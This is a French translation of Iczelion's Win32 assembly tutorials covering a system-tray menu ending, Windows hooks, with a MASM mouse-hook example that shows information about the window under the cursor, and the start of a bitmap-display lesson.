Si le message de la souris est WM_RBUTTONDOWN, nous appelons GetCursorPos pour obtenir les coordonnées actuelles du curseur de la souris sur l'écran. Après avoir reçu les données renvoyées par cette fonction, la structure POINT est remplie des coordonnées du curseur de la souris. Par les coordonnées, je veux dire les coordonnées entières sans qu'il n'y ait aucune frontière de fenêtre (on parle vraiment de l'écran dans sa totalité). Par exemple, si la résolution de votre écran est 640*480, le coin 'inférieur droit' de l'écran est x = 639 et y = 479. Si vous voulez convertir les coordonnées de l'écran en coordonnées de fenêtre, utilisez la fonction ScreenToClient.
Cependant, pour notre but, nous voulons afficher le menu popup à la position actuelle du curseur de la souris avec l'appel TrackPopupMenu et cette fonction exige des coordonnées d'écran, nous pouvons donc directement utiliser les coordonnées remplies par GetCursorPos.
TrackPopupMenu a la syntaxe suivante :

    TrackPopupMenu PROTO hMenu:DWORD, uFlags:DWORD, x:DWORD, y:DWORD, nReserved:DWORD, hWnd:DWORD, prcRect:DWORD
  • hMenu est l'handle du menu popup qui doit être affiché.
  • uFlags indique les options de la fonction. Comme l'endroit où placer le menu par rapport aux coordonnées spécifiées plus tard ou bien quel bouton de la souris sera employé pour montrer le menu. Dans notre exemple, nous employons TPM_RIGHTALIGN pour placer le menu popup à gauche des coordonnées.
  • x et y indiquent l'emplacement du menu (en coordonnées d'écran).
  • nReserved doit être NULL
  • hWnd est l'handle de la fenêtre qui recevra les messages du menu.
  • prcRect est un rectangle sur l'écran dans lequel il est possible de cliquer sans écarter le menu. Normalement nous mettons un NULL ici, comme ça lorsque l'utilisateur clique où que ce soit à l'extérieur du menu popup, le menu est écarté (déplacé).
Quand l'utilisateur double clique sur le 'tray icon', on envoie un message WM_COMMAND à notre propre fenêtre en spécifiant IDM_RESTORE pour imiter une sélection faite par l'utilisateur pour 'restorer'(réagrandir) la fenêtre principale et enlever l'icône (de notre programme) du 'System Tray'. Pour être capable de recevoir le message de double-clic, la fenêtre principale doit avoir le style CS_DBLCLKS.

invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif

Quand l'utilisateur sélectionne l'Item de 'restoration' du menu, nous enlevons le 'tray icon' en appelant à nouveau Shell_NotifyIcon, cette fois nous spécifions NIM_DELETE comme message. Ensuite, nous rétablissons la fenêtre principale à son état d'origine. Si l'utilisateur choisit l'Item 'de Sortie' du menu, nous enlevons aussi l'icône du 'System tray' et détruisons la fenêtre principale en appelant DestroyWindow.

[Iczelion's Win32 Assembly Homepage]
Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 24: Windows Hooks

Tutorial 24: Windows Hooks
(Hook=Crochet)

Nous allons voir ce que sont les Windows Hooks dans ce Tutorial. Les Windows Hooks sont très puissants. Grâce à eux, vous pouvez fouiner à l'intérieur d'autres process (programmes) et quelques fois modifier leurs comportements.
Downloadez l'exemple ici.

Théorie:

Les Windows Hooks peuvent être considérés comme une des particularités les plus puissantes de Windows. Avec elles, vous pourrez prendre au piège les événements qui se produisent dans votre propre process ou bien dans d'autres process. (exemple vous verrez apparaître dans votre fenêtre le n° qui sert d'handle à un bouton ou à une boîte se saisie…ça sert à ça un Hook). En "accrochant" (en Hookant), vous informez Windows sur les caractéristiques de la fonction Hookée. Notre fonction de filtre est aussi appelée la procédure d'hook, laquelle sera appelée à chaque fois qu'un événement intéressant se produit. Il y en a deux types en fait : les Hooks locaux et distants.
  • Les Hooks locaux prennent au piège les événements qui sont en train de se passer dans votre propre process.
  • Les Hooks distants prennent au piège les événements qui sont en train de se passer dans d'autres process. Il y a deux types d'Hooks distants.
    • thread-specific (ou lien-spécifique) prend au piège les événements qui se passent dans un lien spécifique dans d'autres process. Bref, il vous sert à observer les événements d'un lien spécifique à l'intérieur d'un process spécifique.
    • system-wide (système-large) prend au piège tous les événements destinés à tous les liens dans tous les process dans le système.
Quand vous mettez en place des Hooks, rappelez-vous qu'ils ont une influence sur les performances du système. Les 'System-Wide Hooks' sont tristement célèbres. Puisque TOUS les événements de liens seront interceptés par votre fonction de filtre (votre procédure d'Hooks), votre système peut être relativement ralentir. Ainsi si vous employez un 'System-Wide Hook', vous devez l'utiliser judicieusement et non pas l'accrocher aussitôt même si vous n'en avez pas encore besoin. Donc, vous avez de grandes chances de faire planter les autres process puisque vous pouvez toucher au fonctionnement d'autres process et si il y a quelque chose d'incorrecte dans votre fonction de filtre, il se peut que les autres programmes restent en attente. Souvenez-vous en : 'le pouvoir vient de paire avec la responsabilité'.
Vous devez vraiment comprendre le fonctionnement d'un hook avant que vous ne puissiez l'employer efficacement. Quand vous créez un hook, Windows crée une structure de données en mémoire, contenant l'information sur le hook et l'ajoute dans une file d'attente de Hooks existant. Le nouvel hook est ajouté devant les vieux Hooks. Lorsqu'un événement arrive, si vous faites appel à un hook local, la fonction de filtre de votre programme sera appelée, donc c'est plus direct. Mais si c'est un hook distant, le système doit injecter le code pour la procédure d'hook dans l'espace d'adresse d'un autre process. Et le système peut faire ça uniquement si la fonction se trouve dans une DLL. Ainsi, si vous voulez employer un hook distant, votre procédure d'hook doit résider dans une DLL. Il y a deux exceptions à cette règle: l'écriture d'un journal et la lecture d'un journal d'Hooks. Les procédures d'hook pour ces deux Hooks doivent résider dans le lien qui met en place les Hooks. La raison pour laquelle ça doit être ainsi c'est que : les deux Hooks fonctionnent avec des événements de type interruptions d'entrée matériel de bas niveau. Les événements d'entrée doivent être (recorded/playbacked) enregistrés/lus dans l'ordre où ils sont apparus. Si le code de ces deux Hooks sont dans une DLL, les événements d'entrée peuvent se disperser parmi plusieurs liens et il est impossible de connaître leur ordre les uns par rapport aux autres. Donc la solution c'est que : la procédure d'hook de ces deux Hooks doit être seulement dans un lien simple, c'est-à-dire le lien qui installe les Hooks.
Il y a 14 types d'Hooks :
  • WH_CALLWNDPROC est appelé quand SendMessage est appelé
  • WH_CALLWNDPROCRET est appelé lors du retours de SendMessage.
  • WH_GETMESSAGE est appelé quand GetMessage ou PeekMessage sont appelés
  • WH_KEYBOARD est appelé quand GetMessage ou PeekMessage récupèrent le message WM_KEYUP ou WM_KEYDOWN dans la file d'attente (des messages).
  • WH_MOUSE est appelé quand GetMessage ou PeekMessage récupère un message provenant de la souris dans la file d'attente des messages.
  • WH_HARDWARE est appelé quand GetMessage ou PeekMessage récupère certains messages en provenance de votre matériel, mais qui n'ont pas de rapport avec le clavier ou la souris.
  • WH_MSGFILTER est appelé pour une DialogBox, quand son menu ou un scrollbar est sur le point de traiter un message. Cet hook est local. Il a été spécifiquement conçu pour des objets qui ont leurs propres boucles de message internes.
  • WH_SYSMSGFILTER c'est la même chose que pour WH_MSGFILTER mais pour un système-large (system-wide).
  • WH_JOURNALRECORD est appelé quand Windows récupère le message dans la file d'attente d'une entrée matériel.
  • WH_JOURNALPLAYBACK est appelé quand un événement est requit dans la file d'attente d'entrée matériel du système.
  • WH_SHELL est appelé quand quelque chose d'intéressant provenant du Shell se produit, comme quand la barre de tâche a besoin de rafraîchir (redessiner) ses boutons.
  • WH_CBT est spécialement employé pour la formation assistée par ordinateur. (CBT)
  • WH_FOREGROUNDIDLE est employé intérieurement par Windows. C'est vraiment très peu utilisé par les applications générales.
  • WH_DEBUG est employé pour 'debugger' la procédure se faisant Hooker.
Maintenant que nous avons pris connaissance de la théorie, nous pouvons nous concentrer sur le fait de savoir comment installer/désinstaller des Hooks.
Pour installer un hook, on appelle la fonction SetWindowsHookEx qui a la syntaxe suivante :
SetWindowsHookEx proto HookType:DWORD, pHookProc:DWORD, hInstance:DWORD, ThreadID:DWORD
  • HookType est une des valeurs inscrites ci-dessus, par exemple,WH_MOUSE, WH_KEYBOARD
  • pHookProc est l'adresse de la procédure d'hook qui sera appelée pour traiter les messages du hook spécifié. Si c'est un hook distant, il doit résider dans une DLL. Si ce n'est pas le cas, il doit appartenir à votre prog.
  • hInstance est l'instance handle de la DLL dans laquelle la procédure d'hook réside. Si le hook est local, cette valeur doit être NULL.
  • ThreadID est l'ID du lien sur lequel vous aimeriez installer votre hook pour l'espionner. C'est ce paramètre qui détermine si le hook est local ou distant. Si ce paramètre est NULL, Windows interprétera votre hook comme un hook système-large distant qui s'attache à tous les liens présent dans le système. Si vous spécifiez l'ID d'un lien de votre propre process (programme), cet hook est local. Si vous spécifiez l'ID d'un autre process, votre hook est un lien-spécifique distant. Il y a deux exceptions à cette règle :WH_JOURNALRECORD et WH_JOURNALPLAYBACK sont toujours des 'system-wide hooks' locaux (système-large), lesquels n'ont pas besoin d'être dans une DLL. Et WH_SYSMSGFILTER est toujours un 'system-wide hook' distant. En réalité il est identique au hook WH_MSGFILTER avec ThreadID=0 (avec pour ID du lien une valeur NULL).
si l'appel est couronné de succès, il renvoie l'handle du hook dans eax. Si c'est pas le cas, un NULL est renvoyé dans eax. Vous devez sauvegarder l'handle du hook pour pouvoir le 'déhooker' plus tard.
Vous pouvez désinstaller votre hook en appelant UnhookWindowsHookEx lequel accepte qu'un seul paramètre, l'handle du hook que vous voulez désinstaller. Si l'appel réussit, il renvoie une valeur non-nulle dans eax. Sinon, il renvoie le NULL (forcément).
Maintenant que vous savez comment installer/désinstaller des Hooks, nous pouvons examiner la procédure d'hook en elle-même.
La procédure d'hook sera appelée à chaque fois qu'un événement étant associé au type de hook que vous a installé, arrive. Par exemple, si vous installez le hook WH_MOUSE quand un événement de souris arrive, votre procédure d'hook sera appelée. Indépendamment du type de hook que vous avez installé, la procédure d'hook a toujours le prototype suivant :
    HookProc proto nCode:DWORD, wParam:DWORD, lParam:DWORD
    • nCode indique le code du hook.
    • wParam et lParam contiennent une information complémentaire à propos de l'événement.
HookProc est en réalité le détenteur du nom de la fonction. Vous pouvez le nommer comme ça vous chante tant qu'il a le prototype vu ci-dessus. L'interprétation de nCode, wParam et lParam dépend du type de hook que vous avez installé. Donc de la valeur de retour de la procédure d'hook. Par exemple :
WH_CALLWNDPROC
  • nCode peut seulement être HC_ACTION ce qui signifie qu'il y a un message envoyé à une fenêtre.
  • wParam contient le message qui vient d'être envoyé, si ce n'est pas le cas il prendra la valeur zéro.
  • lParam pointe sur la structure CWPSTRUCT.
  • La valeur de retour: si on ne l'emploie pas , on gardera un retour NULL.
WH_MOUSE
  • nCode peut être soit HC_ACTION soit HC_NOREMOVE.
  • wParam contient le message de la souris.
  • lParam pointe sur la structure MOUSEHOOKSTRUCT.
  • La valeur de retour: est '0' si le message doit être traité. Et '1' si le message doit être abandonné.
Vous devez consulter votre référence API Win32 pour de plus amples détails à propos de la signification des paramètres et de la valeur de retour des hooks que vous souhaitez installer.
Maintenant il reste un petit truc à comprendre à propos de la procédure d'hook. Rappelez-vous que votre Hook est mis à la suite et en tête de la liste des hooks installés les plus récemment (dans une liste liée à votre prog). Quand un événement arrive, Windows appellera uniquement le premier hook de la liste. C'est le devoir de votre procédure d'hook d'appeler le hook suivant dans la liste. Vous pouvez choisir de ne pas appeler le hook suivant mais vous mieux que quiconque, savez ce que vous faites. La plupart du temps, c'est une bonne chose d'appeler la procédure suivante, comme ça les autres Hooks sont prêts. Vous pouvez appeler le hook suivant en appelant CallNextHookEx lequel possède le prototype suivant :
CallNextHookEx proto hHook:DWORD, nCode:DWORD, wParam:DWORD, lParam:DWORD
  • hHook est l'handle de votre propre hook. La fonction emploie cet handle pour fouiller la liste et chercher la procédure d'hook qu'elle doit appeler ensuite.
  • nCode, wParam et lParam sont seulement trois valeurs que vous avez la possibilité de passer à d'autres fonctions. On les reçoit après l'appel: CallNextHookEx.
Un point important sur les Hooks distants : la procédure d'hook doit résider dans une DLL laquelle sera 'mappée' (recopiée en mémoire) dans d'autres process. (Voir le tutorial 13). Lorsque Windows 'mappe' la DLL dans d'autres process, il ne 'mappera' pas la section des données à l'intérieur de ces autres process. Bref, tous les process (les autres programmes) partagent une unique copie du code mais ils auront leur propre copie privée de la section des données de la DLL! Ça peut être une surprise de taille pour les imprudents. Vous pouvez penser que lorsque vous stockez une valeur dans une variable appartenant à la section des données de la DLL, que cette valeur sera partagée entres chacun des process qui font appel à cette DLL., mais ce n'est pas tout à fait vrai. Dans une situation normale, ça se passe bien comme ça puisque on a l'illusion que chaque process a sa propre copie de la DLL. Mais ce n'est pas le cas quand un hook est concerné. Nous souhaitons que la DLL soit identique pour tous les process, incluant les données. La solution : on doit marquer la section des données en tant que section partagée. On peut faire ça en spécifiant l'attribut de section dans le commutateur du linker. Pour MASM, vous avez besoin d'employer ce commutateur :
/SECTION:<section name>, S
Le nom de la section des données initialisées est .data et les données non initialisées sont .bss. Par exemple si vous voulez assembler une DLL qui contient une procédure d'hook et que vous voulez que la section des données non initialisées soit partagée entre plusieurs process, vous devez employer la ligne suivante :
link /section:.bss,S /DLL /SUBSYSTEM:WINDOWS ..........
L'attribut 'S' marque la section en tant que section partagée.

Exemple:

En fait il faut deux modules : Il y a le programme principal qui affichera les éléments graphiques du GUI (comme d'habitude, ex : les boutons la zone de saisie…) et l'autre partie c'est la DLL qui installera/désinstallera le hook.

;--------------------------------------------- Voici le code source du programme principal --------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include mousehook.inc
includelib mousehook.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

wsprintfA proto C :DWORD,:DWORD,:VARARG
wsprintf TEXTEQU <wsprintfA>

.const
IDD_MAINDLG equ 101
IDC_CLASSNAME equ 1000
IDC_HANDLE equ 1001
IDC_WNDPROC equ 1002
IDC_HOOK equ 1004
IDC_EXIT equ 1005
WM_MOUSEHOOK equ WM_USER+6

DlgFunc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
HookFlag dd FALSE
HookText db "&Hook",0
UnhookText db "&Unhook",0
template db "%lx",0

.data?
hInstance dd ?
hHook dd ?
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_MAINDLG,NULL,addr DlgFunc,NULL
invoke ExitProcess,NULL

DlgFunc proc hDlg:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL hLib:DWORD
LOCAL buffer[128]:byte
LOCAL buffer1[128]:byte
LOCAL rect:RECT
.if uMsg==WM_CLOSE
.if HookFlag==TRUE
invoke UninstallHook
.endif
invoke EndDialog,hDlg,NULL
.elseif uMsg==WM_INITDIALOG
invoke GetWindowRect,hDlg,addr rect
invoke SetWindowPos, hDlg, HWND_TOPMOST, rect.left, rect.top, rect.right, rect.bottom, SWP_SHOWWINDOW
.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif
.elseif uMsg==WM_COMMAND
.if lParam!=0
mov eax,wParam
mov edx,eax
shr edx,16
.if dx==BN_CLICKED
.if ax==IDC_EXIT
invoke SendMessage,hDlg,WM_CLOSE,0,0
.else
.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif
.else
invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL
.endif
.endif
.endif
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgFunc endp

end start

;--------------------------------------------------- Et voici enfin le code source de la DLL ------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.const
WM_MOUSEHOOK equ WM_USER+6

.data
hInstance dd 0

.data?
hHook dd ?
hWnd dd ?

.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif
mov eax,TRUE
ret
DllEntry Endp

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

UninstallHook proc
invoke UnhookWindowsHookEx,hHook
ret
UninstallHook endp

End DllEntry

;--------------------------------C'est le makefile de la DLL (le moyen de l'assembler)------------------------------

NAME=mousehook
$(NAME).dll: $(NAME).obj
Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm\lib $(NAME).obj
$(NAME).obj: $(NAME).asm
ml /c /coff /Cp $(NAME).asm

Analyse:

Cet exemple ouvrira une DialogBox avec trois 'Edit Contols' dans lesquels seront affichés : le nom de classe (Class Name), l'handle de la fenêtre (ou de l'objet) et l'adresse de la procédure de fenêtre (Window Proc). Ces 3 paramètres n'appartiendront pas forcément à votre propre programme, mais plus généralement à n'importe quel objet de n'importe quelle fenêtre sur laquelle passe votre curseur de souris. Il y a deux boutons, 'hook' et 'Exit'. Quand vous appuyez sur le bouton 'hook', le programme Hooke l'entrée souris, et le texte du bouton se modifie en 'Unhook'. Quand vous déplacez le curseur de la souris vers une autre fenêtre ou sur un objet quelconque, les renseignements de cette fenêtre seront affichés dans votre fenêtre principale (votre DialogBox). Lorsque vous appuyez sur le bouton 'Unhook', le programme arrête de hooker les objets qui se trouvent sous la souris.
Ce programme utilise une DialogBox en tant que fenêtre principale. On définit un message construit sur mesure (Custum) WM_MOUSEHOOK, lequel sera employé entre le programme principal et sa DLL, laquelle contient la fonction d'hook. Lorsque le programme principal reçoit ce message, wParam contient l'handle de la fenêtre (ou de l'objet) sur lequel votre curseur de souris est placé. Bien sûr, c'est un choix arbitraire. J'ai décidé d'envoyer la valeur de l'handle dans wParam pour plus de simplicité. Mais vous pouvez très bien choisir votre propre méthode de communication entre le programme principal et la DLL (contenant le hook).

.if HookFlag==FALSE
invoke InstallHook,hDlg
.if eax!=NULL
mov HookFlag,TRUE
invoke SetDlgItemText,hDlg,IDC_HOOK,addr UnhookText
.endif

Le programme maintient un 'Flag' nommé HookFlag, pour rendre compte de l'état du hook. S'il est 'FALSE'(faux) alors c'est que le hook n'est pas activé. Au contraire s'il est TRUE(vrai) c'est qu'il est actif.
Quand l'utilisateur appuie sur le bouton 'hook', le programme vérifie s'il est déjà installé (actif). Si ce n'est pas le cas, on appelle la fonction InstallHook du hook de la DLL pour l'installer. Notez que nous passons l'handle de notre DialogBox principale en tant que paramètre de la fonction pour que la DLL (contenant la fonction d'hook) puisse envoyer les différents messages WM_MOUSEHOOK vers la bonne fenêtre, c'est-à-dire la nôtre.
A partir du moment où le programme est chargé, la DLL est chargée elle aussi. En réalité, les DLLs sont immédiatement chargées après que le programme ait été mis en mémoire. L'entrypoint de la DLL est appelé avant même que la première instruction du programme principal ne soit exécuté. (EntryPoint=première ligne de code lue dans un programme=début) Ainsi quand le programme principal se met en route, la(les) DLL(s) est/sont déjà initialisée(s). Nous écrivons le code suivant pour l'entrypoint de la DLL :

.if reason==DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif

Ce code sauvegarde juste l'instance handle de la DLL dans une variable globale nommée hInstance pour pouvoir l'utiliser dans la fonction InstallHook. Puisque l'entrypoint de la DLL est appelé avant les autres fonctions dans la DLL, l'hInstance est toujours valable. On définit hInstance dans la section .data pour que cette valeur soit prête "pour le process". la DLL est 'mappée'(ou temporairement recopiée en mémoire) dans le process, avant même que le curseur de souris ne plane au-dessus des fenêtres ou objets qu'elle doit hooker. Imaginez-vous que par hasard il y ait déjà une DLL qui occupe l'adresse de chargement destinée à la DLL (contenant notre hook), alors dans ce cas la DLL serait mappée à une autre adresse. La valeur de 'hInstance' serait remise à jour en prenant en compte la nouvelle adresse de chargement. Lorsque l'utilisateur presse le bouton 'Unhook' puis par la suite le bouton 'Hook', SetWindowsHookEx sera de nouveau appelé. Cependant, cette fois, il utilisera la nouvelle adresse de chargement en tant qu' instance handle mais qui malheureusement sera faux puisque dans notre programme d'exemple, l'adresse de chargement de la DLL n'aura pas été changée. Le Hook sera local, c'est pourquoi vous pourrez uniquement hooker les événements de la souris qui arriveront dans votre propre fenêtre. À peine utile.

InstallHook proc hwnd:DWORD
push hwnd
pop hWnd
invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

La fonction InstallHook est très simple en elle-même. Elle sauvegarde l'handle de la fenêtre dans une variable globale nommée hWnd pour l'utiliser plus tard. On appelle alors SetWindowsHookEx pour installer (activer) le hook sous la souris. La valeur de retour de SetWindowsHookEx est stockée dans une variable globale nommée hHook pour l'utiliser avec UnhookWindowsHookEx au moment où on souhaite désactiver ce hook.
Après qu'on ait appelé SetWindowsHookEx, le hook sous la souris est fonctionnel. Chaque fois qu'un événement souris arrive dans le système, MouseProc (votre procédure d'hook) est appelée.

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
invoke CallNextHookEx,hHook,nCode,wParam,lParam
mov edx,lParam
assume edx:PTR MOUSEHOOKSTRUCT
invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
assume edx:nothing
xor eax,eax
ret
MouseProc endp

La première chose à faire, c'est d'appeler CallNextHookEx pour donner à d'autres Hooks la chance de traiter de nouveaux événements souris. Après ça, on appelle la fonction WindowFromPoint pour retrouver l'handle de la fenêtre (ou de l'objet) auxquelles sont indiquées les coordonnée (écran) de la souris. Remarquez que nous employons POINT dans la structure MOUSEHOOKSTRUCT représenté par lParam en tant que coordonnées actuelles de la souris. Après ça nous envoyons l'handle de la fenêtre (ou de l'objet) au programme principal via PostMessage avec le message WM_MOUSEHOOK. Une chose à se rappeler, c'est que : vous ne devez pas employer SendMessage à l'intérieur de la procédure d'hook, ceci peut provoquer une impasse pour les messages. Je recommande PostMessage. La structure MOUSEHOOKSTRUCT est définie ainsi:

MOUSEHOOKSTRUCT STRUCT DWORD
pt POINT <>
hwnd DWORD ?
wHitTestCode DWORD ?
dwExtraInfo DWORD ?
MOUSEHOOKSTRUCT ENDS

  • 'pt' représente les coordonnées (coordonnées écran) actuelles du curseur de la souris.
  • hwnd est l'handle de la fenêtre qui recevra le message souris. En général, c'est la fenêtre qui se trouve sous le curseur de la souris, mais pas toujours. Si une fenêtre appelle SetCapture, l'entrée souris sera redirigée spécialement vers cette fenêtre au lieu de celle sur laquelle passe notre souris. À cause de ça, je n'utilise pas le membre hwnd de cette structure, mais par contre j'appelle WindowFromPoint à la place.
  • wHitTestCode représente une valeur de coup d'essai. La valeur de coup d'essai donne plus d'information sur la position actuelle du curseur de la souris. Il indique dans quelle partie de la fenêtre est ce que le curseur souris se trouve. Pour la liste complète, vérifiez votre référence API Win32 avec le message WM_NCHITTEST.
  • dwExtraInfo contient l'information supplémentaire associée au message. Normalement cette valeur est créée à partir de l'appel mouse_event et retrouvée en appelant GetMessageExtraInfo.
Quand la fenêtre principale reçoit le message WM_MOUSEHOOK, on emploie l'handle de la fenêtre placé dans wParam pour retrouver l'information de la fenêtre.

.elseif uMsg==WM_MOUSEHOOK
invoke GetDlgItemText,hDlg,IDC_HANDLE,addr buffer1,128
invoke wsprintf,addr buffer,addr template,wParam
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_HANDLE,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer1,128
invoke GetClassName,wParam,addr buffer,128
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,addr buffer
.endif
invoke GetDlgItemText,hDlg,IDC_WNDPROC,addr buffer1,128
invoke GetClassLong,wParam,GCL_WNDPROC
invoke wsprintf,addr buffer,addr template,eax
invoke lstrcmpi,addr buffer,addr buffer1
.if eax!=0
invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer
.endif

Pour éviter d'éventuels scintillements, nous vérifions que le texte qui est déjà inscrit dans les Edit Controls et que le texte que nous souhaitons placer à leur place sont identiques, si oui on saute par dessus l'instruction de réécriture.
Nous retrouvons le nom de classe (la Class Name) en appelant GetClassName, et l'adresse de la procédure de fenêtre (La Window Proc) en appelant GetClassLong avec GCL_WNDPROC puis les mettons ensuite sous forme de chaînes de caractères pour les placer dans les contrôles d'édition appropriés.

invoke UninstallHook
invoke SetDlgItemText,hDlg,IDC_HOOK,addr HookText
mov HookFlag,FALSE
invoke SetDlgItemText,hDlg,IDC_CLASSNAME,NULL
invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL

Quand l'utilisateur appuie sur le bouton 'Unhook', le programme appelle la fonction UninstallHook qui se trouve dans la DLL (avec la fonction hook). UninstallHook appelle uniquement UnhookWindowsHookEx. Après ça, le texte du bouton se retransforme en "Hook", le flaf HookFlag est remis à 'False' et on fige le contenu des contrôles d'édition.
Notez comment est décrit le linker dans le makefile.

Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS

La section .bss est définie comme une section partagée pour faire en sorte que plusieurs process (programmes) puissent utiliser les données non initialisées (.bss) de cette DLL en même temps. Sans ce commutateur, votre DLL ne fonctionnerait pas correctement.

[Iczelion's Win32 Assembly Homepage]

Traduit pas Morgatte


Iczelion's Win32asm Tutorial 25: Simple Bitmap

Tutorial 25: Un Simple Bitmap

Dans ce tutorial, nous allons voir comment utiliser des bitmaps dans notre programme. Pour être exact, nous allons apprendre à afficher un bitmap dans le secteur client de notre fenêtre.
Downloadez l'exemple.

Théorie

Les simples sont de simples images stockées dans l'ordinateur. Il y a beaucoup de formats d'images utilisés pour les ordinateurs, mais à l'origine Windows ne traitait qu'uniquement les fichiers Graphiques (.bmp). Les Bitmaps dont nous allons parler dans ce tutorial sont des bitmap Windows *.bmp. La plus simple façon d'utiliser un bitmap est de l'employer en tant que ressource. Il y a deux façons pour faire ça. Vous pouvez inclure le bitmap dans un fichier de définition de ressource (.rc) comme suit :
#define IDB_MYBITMAP 100
IDB_MYBITMAP BITMAP "c:\project\example.bmp"
Cette méthode emploie une constante pour représenter le bitmap. La première ligne crée juste une constante nommé IDB_MYBITMAP qui pour valeur 100. Nous utiliserons ce label (ce nom) pour nous référer à ce bitmap dans le programme. La ligne suivante déclare un bitmap ressource. On indique au compilateur de ressource à quel endroit retrouver le fichier bmp réel.
L'autre méthode utilise un nom pour représenter le bitmap comme suit :
MyBitMap BITMAP "c:\project\example.bmp"
Cette méthode exige que vous vous référiez au bitmap dans votre programme grâce au nom "MyBitMap" au lieu d'une valeur.
L'unes ou l'autres de ces méthodes restent excellentes tant que vous sachiez bien quelle méthode vous employez.
Maintenant que nous avons placé le bitmap dans le fichier ressource, nous pouvons continuer les étapes de l'explication pour afficher ce bitmap dans le secteur client de notre fenêtre.
  1. Appelez LoadBitmap pour obtenir l'handle du bitmap. LoadBitmap possède le prototype de fonction suivant :
      LoadBitmap proto hInstance:HINSTANCE, lpBitmapName:LPSTR

    Cette fonction renvoie l'handle du bitmap. hInstance est l'instance handle de notre programme. LpBitmapName est un pointer qui est sur la châine de caractères qui définit le nom du bitmap (dans le cas où vous employez la deuxième méthode pour se référer au bitmap). Si vous employez une constante pour vous référer au bitmap (comme IDB_MYBITMAP), vous pouvez mettre sa valeur ici. (Dans l'exemple au-dessus, ce serait 100). Voici un court exemple:

      First Method:

      .386
      .model flat, stdcall
      ................
      .const
      IDB_MYBITMAP equ 100
      ...............
      .data?
      hInstance dd ?
      ..............
      .code
      .............
      invoke GetModuleHandle,NULL
      mov hInstance,eax
      ............
      invoke LoadBitmap,hInstance,IDB_MYBITMAP
      ...........

      Second Method:

      .386
      .model flat, stdcall
      ................
      .data
      BitmapName db "MyBitMap",0
      ...............
      .data?
      hInstance dd ?
      ..............
      .code
      .............
      invoke GetModuleHandle,NULL
      mov hInstance,eax
      ............
      invoke LoadBitmap,hInstance,addr BitmapName
      ...........

    Pour info: un 'contexte de dispositif' c'est en quelque sorte la zone blanche principale de votre fenêtre sur laquelle on affichera le dessin bitmap. Elle est réelle quand on parle d'une page physiquement afficher sur notre écran. Mais on peut aussi se le réprésenter comme une page fictive n'exsitant que sous forme de données en mémoire.

  1. Récupérez l'handle du contexte de dispositif (DC=device context ). Vous pouvez obtenir cet handle en appelant BeginPaint après le retour du message WM_PAINT ou en appelant GetDC à n'importe quel moment.
